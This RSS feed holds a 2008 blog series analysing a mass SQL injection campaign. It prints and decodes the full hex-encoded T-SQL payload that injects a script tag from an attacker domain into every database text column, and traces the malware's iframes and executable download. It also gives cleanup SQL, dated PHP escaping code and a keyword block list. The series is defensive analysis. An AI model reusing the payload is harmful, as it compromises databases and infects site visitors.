<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>internet mix &#187; injection</title>
	<atom:link href="http://blog.ninanet.com/tag/injection/feed" rel="self" type="application/rss+xml" />
	<link>http://blog.ninanet.com</link>
	<description>where&#039;s the salt?</description>
	<lastBuildDate>Wed, 07 Dec 2011 01:19:08 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>SQL injection attacks: Part 4: What the JavaScript does</title>
		<link>http://blog.ninanet.com/2008/08/28/sql-injection-attacks-part-4-what-the-ja</link>
		<comments>http://blog.ninanet.com/2008/08/28/sql-injection-attacks-part-4-what-the-ja#comments</comments>
		<pubDate>Thu, 28 Aug 2008 10:23:00 +0000</pubDate>
		<dc:creator>Nina</dc:creator>
				<category><![CDATA[business mix]]></category>
		<category><![CDATA[tech mix]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[injection]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[sqlinjection]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[I&#8217;ve posted the initial script from http://www0.douhunqn.cn/csrss/w.js in Part 1, but for those who either can&#8217;t or rather won&#8217;t load it themselves, here&#8217;s an outline of what it does, and the other files it loads and accesses.
All scripts in this post are images (they are screenshots so they will not harm your computer in any [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve posted the initial script from http://www0.douhunqn.cn/csrss/w.js in <a href="http://blog.ninanet.com/blog1.php/2008/08/22/sql-injection-attacks-no-end-in-sight">Part 1</a>, but for those who either can&#8217;t or rather won&#8217;t load it themselves, here&#8217;s an outline of what it does, and the other files it loads and accesses.</p>
<p>All scripts in this post are images (they are screenshots so <strong>they will not harm your computer in any way</strong>), and you can see a larger version by clicking on each image. None of the links to the malicious scripts/files are live in this post, but they all are still working as of today. </p>
<p><span id="more-15"></span><br />
Again, this is how http://www0.douhunqn.cn/csrss/w.js looks like:</p>
<div class="image_block"><a href="http://blog.ninanet.com/media/users/nina/script-lg.jpg" rel="wp-prettyPhoto[g15]"><img src="http://blog.ninanet.com/media/users/nina/script-sm.jpg" alt="" title="" width="500" height="382" /></a></div>
<p>First, http://www0.douhunqn.cn/csrss/w.js tries to load http://www0.douhunqn.cn/csrss/new.htm into an iframe.</p>
<p>It also tries to load http://count41.51yes.com/sa.aspx?id=419214144 into another iframe, appending the output of the variable *yesdata* to this URL.<br />
The URL would look similar to this:</p>
<p>http://count41.51yes.com/sa.aspx?id=419214144&amp;refe=&amp;location=http%3A//**source**&amp;color=16x&amp;resolution=1280&#215;1024&amp;returning=0&amp;language=undefined&amp;ua=Mozilla/5.0%20%28compatible%3B%20Konqueror/3.5%3B%20FreeBSD%29%20KHTML/3.5.8%20%28like%20Gecko%29</p>
<p>(depending on your operating system and other variables)</p>
<p>(We tried repeatedly with various variables and could not get the server to respond. If someone gets a response and an output, please tell us and we will post it here).</p>
<p>http://www0.douhunqn.cn/csrss/new.htm looks like this</p>
<div class="image_block"><a href="http://blog.ninanet.com/media/users/nina/new.htm.png" rel="wp-prettyPhoto[g15]"><img src="http://blog.ninanet.com/media/users/nina/new.htm-sm.png" alt="http://www0.douhunqn.cn/csrss/new.htm" title="http://www0.douhunqn.cn/csrss/new.htm" width="500" height="77" /></a></div>
<p>and does the following:<br />
sets cookies:</p>
<div class="image_block"><a href="http://blog.ninanet.com/media/users/nina/www0.douhunqn.com-cookies.png" rel="wp-prettyPhoto[g15]"><img src="http://blog.ninanet.com/media/users/nina/www0.douhunqn.com-cookies-sm.png" alt="http://www0.douhunqn.cn/csrss/new.htm - Cookies" title="http://www0.douhunqn.cn/csrss/new.htm - Cookies" width="500" height="533" /></a></div>
<p>1)<br />
It accesses http://s96.cnzz.com/stat.php?id=1019605&amp;web_id=1019605<br />
which results in this output: </p>
<div class="image_block"><a href="http://blog.ninanet.com/media/users/nina/s96.cnzz.com-stat.php_id-1019605-web_id-1019605.png" rel="wp-prettyPhoto[g15]"><img src="http://blog.ninanet.com/media/users/nina/s96.cnzz.com-stat.php_id-1019605-web_id-1019605-sm.png" alt="http://www0.douhunqn.cn" title="http://www0.douhunqn.cn" width="500" height="99" /></a></div>
<p>The command *document.write(&#8216;Õ¾³¤Í³¼Æ&#8217;)* loads http://www.cnzz.com/v3/admin.php?webid=1019605 but gets redirected to http://www.cnzz.com/v3/login.php?webid=1019605 (login problem?) and sets a cookie.</p>
<div class="image_block"><img src="http://blog.ninanet.com/media/users/nina/cnzz.com-cookie-sm.png" alt="http://www.cnzz.com/v3/login.php?webid=1019605 - Cookie" title="http://www.cnzz.com/v3/login.php?webid=1019605 - Cookie" width="500" height="468" /></div>
<p>2) loads flash.htm into an iframe (will trigger anti-virus-scanner)</p>
<div class="image_block"><a href="http://blog.ninanet.com/media/users/nina/flash.htm.png" rel="wp-prettyPhoto[g15]"><img src="http://blog.ninanet.com/media/users/nina/flash.htm-sm.png" alt="http://www0.douhunqn.cn" title="http://www0.douhunqn.cn" width="500" height="296" /></a></div>
<p> &#8212; this file loads either<br />
	 i1.html (msie)<br />
	 f2.html (other)<br />
	into another iframe</p>
<div class="image_block"><a href="http://blog.ninanet.com/media/users/nina/il.html.png" rel="wp-prettyPhoto[g15]"><img src="http://blog.ninanet.com/media/users/nina/il.html-sm.png" alt="http://www0.douhunqn.cn" title="http://www0.douhunqn.cn" width="500" height="388" /></a></div>
<p>Check security watch: <a href="http://s3cwatch.wordpress.com/2008/08/06/jjmaobuduo3322orgcsrsswjs/" target="extern">http://s3cwatch.wordpress.com/2008/08/06/jjmaobuduo3322orgcsrsswjs/</a></p>
<p>3) Tries to load 06014.html into an inframe (this is an error, since the file 06014.html doesn&#8217;t exist on the server. It should be 06014.htm (thanks to <a href="http://s3cwatch.wordpress.com/2008/08/06/jjmaobuduo3322orgcsrsswjs/#comments" target="extern">http://s3cwatch.wordpress.com/2008/08/06/jjmaobuduo3322orgcsrsswjs/#comments</a>) </p>
<div class="image_block"><a href="http://blog.ninanet.com/media/users/nina/06014.html-all.png" rel="wp-prettyPhoto[g15]"><img src="http://blog.ninanet.com/media/users/nina/06014.html-all-sm.png" alt="http://www0.douhunqn.cn" title="http://www0.douhunqn.cn" width="500" height="428" /></a></div>
<p>will trigger anti-virus-scanner when loaded</p>
<p>4) loads yahoo.htm into an iframe (triggers anti-virus-scanner)</p>
<div class="image_block"><a href="http://blog.ninanet.com/media/users/nina/yahoo.htm.png" rel="wp-prettyPhoto[g15]"><img src="http://blog.ninanet.com/media/users/nina/yahoo.htm-sm.png" alt="http://www0.douhunqn.cn" title="http://www0.douhunqn.cn" width="500" height="104" /></a></div>
<p>5) loads office.htm into an iframe </p>
<div class="image_block"><a href="http://blog.ninanet.com/media/users/nina/office.htm2.png" rel="wp-prettyPhoto[g15]"><img src="http://blog.ninanet.com/media/users/nina/office.htm2-sm.png" alt="" title="" width="500" height="458" /></a></div>
<p>6) loads ksx.htm into an iframe</p>
<div class="image_block"><a href="http://blog.ninanet.com/media/users/nina/ksx.htm.png" rel="wp-prettyPhoto[g15]"><img src="http://blog.ninanet.com/media/users/nina/ksx.htm-sm.png" alt="" title="" width="500" height="37" /></a></div>
<p>7) accesses http://js.users.51.la/2087353.js</p>
<div class="image_block"><a href="http://blog.ninanet.com/media/users/nina/js.users.51.la-2094465.js.png" rel="wp-prettyPhoto[g15]"><img src="http://blog.ninanet.com/media/users/nina/js.users.51.la-2094465.js-sm.png" alt="" title="" width="500" height="354" /></a></div>
<p>When trying to decompile the flash file 1115.swf we get the following error:<br />
VerifyError: Error #1011: Method global$init() contained illegal opcode 248 at offset 0.<br />
	at global$init()</p>
<p>But in the file disguised as an image again we see the call to http://www.ppexe.com/csrss/rondll32.exe (the file can still be downloaded from this address &#8211; that&#8217;s why this is not an active link. Similarities to rundll32.exe are most likely pure coincidence).</p>
<p>The files loaded by ack.html seem to be different every day, see this directory output:</p>
<div class="image_block"><a href="http://blog.ninanet.com/media/users/nina/www.ppexe.com-csrss-dir.png" rel="wp-prettyPhoto[g15]"><img src="http://blog.ninanet.com/media/users/nina/www.ppexe.com-csrss-dir-sm.png" alt="" title="" width="500" height="53" /></a></div>
<div style="margin-top:20px;">
	<!--<div style="float:left;margin-right:10px;"><fb:send href="http%3A%2F%2Fblog.ninanet.com%2F2008%2F08%2F28%2Fsql-injection-attacks-part-4-what-the-ja" font=""></fb:send></div>-->
	<div style="float:left"><div id="fb-root"></div><div id="facebook_like2"> <script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script> <fb:like href=http%3A%2F%2Fblog.ninanet.com%2F2008%2F08%2F28%2Fsql-injection-attacks-part-4-what-the-ja show_faces="true" width="450" send="true"></fb:like></div></div></div>]]></content:encoded>
			<wfw:commentRss>http://blog.ninanet.com/2008/08/28/sql-injection-attacks-part-4-what-the-ja/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>SQL injection attacks: Part 3: Securing your forms and preventing SQL injection attempts (PHP/MySQL)</title>
		<link>http://blog.ninanet.com/2008/08/25/sql-injection-attacks-part-3-securing-yo</link>
		<comments>http://blog.ninanet.com/2008/08/25/sql-injection-attacks-part-3-securing-yo#comments</comments>
		<pubDate>Mon, 25 Aug 2008 02:57:46 +0000</pubDate>
		<dc:creator>Nina</dc:creator>
				<category><![CDATA[business mix]]></category>
		<category><![CDATA[tech mix]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[injection]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[sqlinjection]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[While the most recent SQL injection attack attempts are targeting MSSQL servers, chances are other databases will be targeted soon.
Of course it is and always has been good practice to double-check input, but maybe these attacks were the wake-up call some developers needed.
Basically every programming language is vulnerable, it is up to the developer and [...]]]></description>
			<content:encoded><![CDATA[<p>While the most recent SQL injection attack attempts are targeting MSSQL servers, chances are other databases will be targeted soon.</p>
<p>Of course it is and always has been good practice to double-check input, but maybe these attacks were the wake-up call some developers needed.</p>
<p>Basically every programming language is vulnerable, it is up to the developer and his diligence to secure his applications and prevent the success of such malicious attacks to the best of his knowledge.</p>
<p><span id="more-14"></span><br />
Here&#8217;s a very simple function everyone can use to scan and clean the input received:</p>
<pre class="brush:php">
function cleanvals($myval) {
   if(get_magic_quotes_gpc()){
      $myval=stripslashes($myval);
      //get rid of triple slashes mysql_real_escape_string would create
   }
   return $myval;
}

function cleanup($myinput){
    if(is_array($myinput)){
      foreach($myinput as $key=>$val){
         //echo "$myinput[$key]&lt;br&gt;";
         //check old value of $val
         $myinput[$key] = cleanvals($val);
         //echo "$myinput[$key]&lt;br&gt;";
         //check new value of $val
      }
	return array_map("mysql_real_escape_string",$myinput);
    }
    else{
      $myinput=cleanvals($myinput);
      return mysql_real_escape_string($myinput);
    }
}
</pre>
<p>First, we pass all input to cleanup().</p>
<p>Then we check if the input is an array and if it is, the cleanvals() function is called and applied to the value of the array key. If the input is a string, cleanvals() is being applied directly on the string.</p>
<p>cleanvals() simply checks for <a href="http://www.php.net/manual/en/function.get-magic-quotes-gpc.php" target="extern">get_magic_quotes_gpc()</a>, and removes the slashes get_magic_quotes_gpc() might have already added; otherwise we end up with triple slashes later on.</p>
<p>If our input was an array, we return the cleaned array using <a href="http://www.php.net/manual/en/function.array-map.php" target="extern">array_map()</a> which allows us to apply a callback function before returning it. </p>
<p>As our callback function, we use <a href="http://www.php.net/manual/en/function.mysql-real-escape-string.php" target="extern">mysql_real_escape_string()</a> which is described as follows: <br />[quote]<em> Escapes special characters in the unescaped_string , taking into account the current character set of the connection so that it is safe to place it in a mysql_query(). If binary data is to be inserted, this function must be used.</p>
<p>mysql_real_escape_string() calls MySQL&#8217;s library function mysql_real_escape_string, which prepends backslashes to the following characters: \x00, \n, \r, \, &#8216;, &#8221; and \x1a.</p>
<p>This function must always (with few exceptions) be used to make data safe before sending a query to MySQL. </em>[/endquote]</p>
<p>If you are using PHP &lt; 4.3.0 you have to use </p>
<pre class="brush:php">mysql_escape_string($myinput);</pre>
<p>wherever </p>
<pre class="brush:php">mysql_real_escape_string($myinput);</pre>
<p>is used in the above code.</p>
<p>You can always scan for parameters you definitely don&#8217;t want to see in your input in the first place, like DECLARE, CAST, DROP, etc and either replace them during the cleanup process, or call another function to prevent any further execution of your code.</p>
<p>To check for *disallowed* words in your input string and to delete them, simply add </p>
<pre class="brush:php">
$badbadsql = "(declare)|(cast)|(drop)";
$myval= eregi_replace($badbadsql, "", strtolower($myval));
</pre>
<p>before  </p>
<pre class="brush:php">if(get_magic_quotes_gpc()){</pre>
<p></p>
<p>I&#8217;ve also used <a href="http://www.php.net/manual/en/function.strtolower.php" target="extern">strtolower</a> to assure we&#8217;re catching UPPER, lower and mixed  case statements.</p>
<p>Instead of replacing $badbadsql you can simply call another function to e.g. stop execution of your code and display an alert, record the offender&#8217;s IP, blacklist him and send an email to the webmaster &#8211; it&#8217;s totally up to you.</p>
<p>To use the cleanup function simply call it whenever you receive input and run the input through it:</p>
<pre class="brush:php">
$_POST=cleanup($_POST);
$_GET=cleanup($_GET);
$_COOKIE=cleanup($_COOKIE);
$_REQUEST=cleanup($_REQUEST);
$_SERVER['QUERY_STRING']=cleanup($_SERVER['QUERY_STRING']);
</pre>
<p></p>
<div style="margin-top:20px;">
	<!--<div style="float:left;margin-right:10px;"><fb:send href="http%3A%2F%2Fblog.ninanet.com%2F2008%2F08%2F25%2Fsql-injection-attacks-part-3-securing-yo" font=""></fb:send></div>-->
	<div style="float:left"><div id="fb-root"></div><div id="facebook_like4"> <script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script> <fb:like href=http%3A%2F%2Fblog.ninanet.com%2F2008%2F08%2F25%2Fsql-injection-attacks-part-3-securing-yo show_faces="true" width="450" send="true"></fb:like></div></div></div>]]></content:encoded>
			<wfw:commentRss>http://blog.ninanet.com/2008/08/25/sql-injection-attacks-part-3-securing-yo/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>SQL injection attacks: Part 2: Answers</title>
		<link>http://blog.ninanet.com/2008/08/23/sql-injection-attacks-part-2-answers</link>
		<comments>http://blog.ninanet.com/2008/08/23/sql-injection-attacks-part-2-answers#comments</comments>
		<pubDate>Sat, 23 Aug 2008 07:58:58 +0000</pubDate>
		<dc:creator>Nina</dc:creator>
				<category><![CDATA[business mix]]></category>
		<category><![CDATA[tech mix]]></category>
		<category><![CDATA[attack]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[injection]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[sqlinjection]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[While the effect yesterday&#8217;s post had was unintentional (I only wanted to complain about the effect those requests have on our and our clients&#8217; server statistics), it seems that a lot more people than I would have anticipated are affected and are looking for answers.
So in this post, I am trying to provide help and [...]]]></description>
			<content:encoded><![CDATA[<p>While the effect yesterday&#8217;s post had was unintentional (I only wanted to complain about the effect those requests have on our and our clients&#8217; server statistics), it seems that a lot more people than I would have anticipated are affected and are looking for answers.</p>
<p>So in this post, I am trying to provide help and some answers.</p>
<p><strong>UPDATE (8-25-08): </strong><a href="http://blog.ninanet.com/blog1.php/2008/08/25/sql-injection-attacks-part-3-securing-yo">How to secure your forms and prevent future attacks</a></p>
<p><span id="more-13"></span><br />
For all you guys looking for ways to detect vulnerable servers and code, <strong>try these links now</strong>:<br />
<a href="http://www.microsoft.com/downloads/details.aspx?FamilyId=58A7C46E-A599-4FCB-9AB4-A4334146B6BA&amp;displaylang=en" target="extern"><strong>Microsoft Source Code Analyzer for SQL Injection</strong></a><br />
or:<br />
<a href="https://download.spidynamics.com/Products/scrawlr/" target="extern"><strong>Scrawlr</strong></a></p>
<p><strong>Cleanup:</strong><br />
Replace script tags from your database (absolutely no warranties &#8211; check the URL/path of the domain and script &#8211; in this case http://www0.douhunqn.cn/csrss/w.js &#8211; as well):</p>
<p align="left">
<pre class="brush:sql; auto-links:false">
DECLARE @T varchar(255),@C varchar(4000);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR
b.xtype=167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T,@C;
WHILE(@@FETCH_STATUS=0)
BEGIN EXEC(
'UPDATE ['+@T+'] set ['+@C+']=replace(['+@C+'],''"&gt;&lt;/title&gt;&lt;script src="http://www0.douhunqn.cn/csrss/w.js"&gt;&lt;/script&gt;&lt;!--'','''')');
FETCH NEXT FROM Table_Cursor INTO @T,@C ;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;
</pre>
</p>
<p><strong>Quick Fixes to prevent more attacks (until you had time to secure every single query):</strong><br />
Check for suspicious Strings in Query Strings via an included function before serving any pages (Chances are nobody is supposed to submit certain statements in a parameter in the first place). </p>
<p>Use the RewriteEngine to check for and react to those strings (e.g. serve a 401 page instead).</p>
<p>These are quick fixes only and should not serve as long-term solutions: If the attacker modifies the SQL statements and you are only checking for e.g. DECLARE you have the same problem all over again.</p>
<p><strong>Prevention:</strong><br />
* Never trust Query Strings.<br />
* Escape them properly.<br />
* Check the TYPE of your variables. If you expect numeric values, check for numeric values. </p>
<p><strong>Demo &#8211; Test it:</strong><br />
We&#8217;ve created a demo page so you can check how a rewrite rule or an include function might change the way your pages are served:<br />
<a href="http://ninanet.com/sqltest.php?%27;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);" target="extern">SQL injection attack attempt demo page</a>: (will open in new window)</p>
<p>You can also use the page to translate the code from your logfiles:<br />
<a href="http://ninanet.com/sqltest.php" target="extern">SQL injection attack attempt demo page without Query String</a></p>
<p>I hope this answers at least some of your questions. If you are still lost, feel free to either leave a comment and I will try to answer your questions ASAP or <a href="mailto:nina@ninanet.com">email me directly</a>.</p>
<p>PS: I agree with everyone who said it&#8217;s not a pure SQL injection hack, but it&#8217;s also not a pure XSS hack either.</p>
<div style="margin-top:20px;">
	<!--<div style="float:left;margin-right:10px;"><fb:send href="http%3A%2F%2Fblog.ninanet.com%2F2008%2F08%2F23%2Fsql-injection-attacks-part-2-answers" font=""></fb:send></div>-->
	<div style="float:left"><div id="fb-root"></div><div id="facebook_like6"> <script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script> <fb:like href=http%3A%2F%2Fblog.ninanet.com%2F2008%2F08%2F23%2Fsql-injection-attacks-part-2-answers show_faces="true" width="450" send="true"></fb:like></div></div></div>]]></content:encoded>
			<wfw:commentRss>http://blog.ninanet.com/2008/08/23/sql-injection-attacks-part-2-answers/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>SQL injection attacks: no end in sight?</title>
		<link>http://blog.ninanet.com/2008/08/23/sql-injection-attacks-no-end-in-sight</link>
		<comments>http://blog.ninanet.com/2008/08/23/sql-injection-attacks-no-end-in-sight#comments</comments>
		<pubDate>Sat, 23 Aug 2008 07:47:00 +0000</pubDate>
		<dc:creator>Nina</dc:creator>
				<category><![CDATA[business mix]]></category>
		<category><![CDATA[tech mix]]></category>
		<category><![CDATA[analytics]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[injection]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[sql]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Just when I thought it would be over, there seems to be yet another massive wave of SQL injection attacks &#8211; presumably from newly infected servers.
UPDATE (8-23-2008): Looking for answers? Check Part 2
UPDATE (8-25-2008): Securing your forms to prevent future attacks 

I am not worried, but I am annoyed. Because all these attempts seriously taint [...]]]></description>
			<content:encoded><![CDATA[<p>Just when I thought it would be over, there seems to be yet another massive wave of SQL injection attacks &#8211; presumably from newly infected servers.</p>
<p><strong>UPDATE (8-23-2008):</strong> Looking for answers? <a href="http://blog.ninanet.com/2008/08/23/sql-injection-attacks-part-2-answers">Check Part 2</a><br />
<strong>UPDATE (8-25-2008):</strong> <a href="http://blog.ninanet.com/2008/08/25/sql-injection-attacks-part-3-securing-yo">Securing your forms to prevent future attacks </a></p>
<p><span id="more-12"></span><br />
I am not worried, but I am <em>annoyed</em>. Because all these attempts seriously taint our log files and our analytics results. Besides causing unnecessary traffic.</p>
<p>But I am also very curious by nature and had an hour or so to kill, so I decided to look into it a bit.</p>
<p>Take the query string and translate it into human-readable format:</p>
<pre>
"GET /myfile.php?';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x44
45434C415245204054207661726368617228323535292C4043207661726
3686172283430303029204445434C415245205461626C655F437572736F72204
35552534F5220464F522073656C65637420612E6E616D652C622E6E616D65206
6726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776
865726520612E69643D622E696420616E6420612E78747970653D27752720616
E642028622E78747970653D3939206F7220622E78747970653D3335206F72206
22E78747970653D323331206F7220622E78747970653D31363729204F50454E2
05461626C655F437572736F72204645544348204E4558542046524F4D2020546
1626C655F437572736F7220494E544F2040542C4043205748494C45284040464
55443485F5354415455533D302920424547494E2065786563282775706461746
5205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F74697
46C653E3C736372697074207372633D22687474703A2F2F777777302E646F756
8756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212
D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C6
96B6520272725223E3C2F7469746C653E3C736372697074207372633D2268747
4703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A732
23E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524
F4D20205461626C655F437572736F7220494E544F2040542C404320454E44204
34C4F5345205461626C655F437572736F72204445414C4C4F434154452054616
26C655F437572736F72%20AS%20CHAR(4000));EXEC(@S); HTTP/1.1"</pre>
<p>The Query String uses CAST to hide the actual SQL statement in hexadecimal code, so in order to *read* it, we need to translate the CAST content (everything else should be fairly easy to translate &#8211; %20 = space, etc).</p>
<p>The easiest way to do it is by using perl:</p>
<pre  class="brush:sql">perl -pe 's/([A-Fa-f0-9][A-Fa-f0-9])/chr(hex($1))/ge' &lt; in &gt; out</pre>
<p>The output is:</p>
<pre class="brush:sql; auto-links:false">DECLARE @S CHAR(4000);SET@S=DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM  Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=''"&gt;&lt;/title&gt;&lt;script src="http://www0.douhunqn.cn/csrss/w.js"&gt;&lt;/script&gt;&lt;!--''+['+@C+'] where '+@C+' not like ''%"&gt;&lt;/title&gt;&lt;script src="http://www0.douhunqn.cn/csrss/w.js"&gt;&lt;/script&gt;&lt;!--''')FETCH NEXT FROM  Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor AS CHAR(4000));EXEC(@S)</pre>
<p>(Of course sysobjects and syscolumns are tables found on MSSQL servers)<br />
</p>
<p>Other query strings found in our logs translated to other domain names, so far all of them were Chinese (.cn) TLDs, and all of them pointing to a script w.js in the directory /csrss (www2.1000ylc.cn/,sdo.1000mg.cn/, and others).</p>
<p>The host IP addresses could be traced to locations all over the world, and whether they&#8217;re legitimate or not doesn&#8217;t really matter.</p>
<p>If we try to access the above domain www0.douhunqn.cn, Firefox greets us with the following message:</p>
<div class="image_block"><img src="http://blog.ninanet.com/media/users/nina/attack-site.jpg" alt="Reported Attack Site" title="Reported Attack Site" width="500" height="239" /></div>
<p>If you don&#8217;t know what you&#8217;re doing, I would strongly suggest that you DON&#8217;T try to access the site &#8212; I have a screenshot of the script here (click the image for a larger version):
<div class="image_block"><a href="http://blog.ninanet.com/media/users/nina/script-lg.jpg" rel="wp-prettyPhoto[g12]"><img src="http://blog.ninanet.com/media/users/nina/script-sm.jpg" alt="" title="" width="500" height="382" /></a></div>
<p>But you can download a copy of the script (zipped) here (don&#8217;t say we didn&#8217;t warn you if something goes wrong) and trace all the URLs it is loading and accessing,  check all the iframes it is generating and the files it is trying to download:<br />
<a href="http://ninanet.com/downloads.php?dl=5">JavaScript File</a></p>
<p>The above is only one of many sites being used as the host for those malicious scripts, just <a href="http://www.google.com/search?hl=en&amp;client=firefox-a&amp;channel=s&amp;rls=org.mozilla%3Aen-US%3Aofficial&amp;q=www0.douhunqn.cn%2Fcsrss%2F&amp;btnG=Search" target='extern'>Google the strings used in either the script or the SQL statement</a> and you will see quite a bunch of infected pages.</p>
<div style="margin-top:20px;">
	<!--<div style="float:left;margin-right:10px;"><fb:send href="http%3A%2F%2Fblog.ninanet.com%2F2008%2F08%2F23%2Fsql-injection-attacks-no-end-in-sight" font=""></fb:send></div>-->
	<div style="float:left"><div id="fb-root"></div><div id="facebook_like8"> <script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script> <fb:like href=http%3A%2F%2Fblog.ninanet.com%2F2008%2F08%2F23%2Fsql-injection-attacks-no-end-in-sight show_faces="true" width="450" send="true"></fb:like></div></div></div>]]></content:encoded>
			<wfw:commentRss>http://blog.ninanet.com/2008/08/23/sql-injection-attacks-no-end-in-sight/feed</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
	</channel>
</rss>
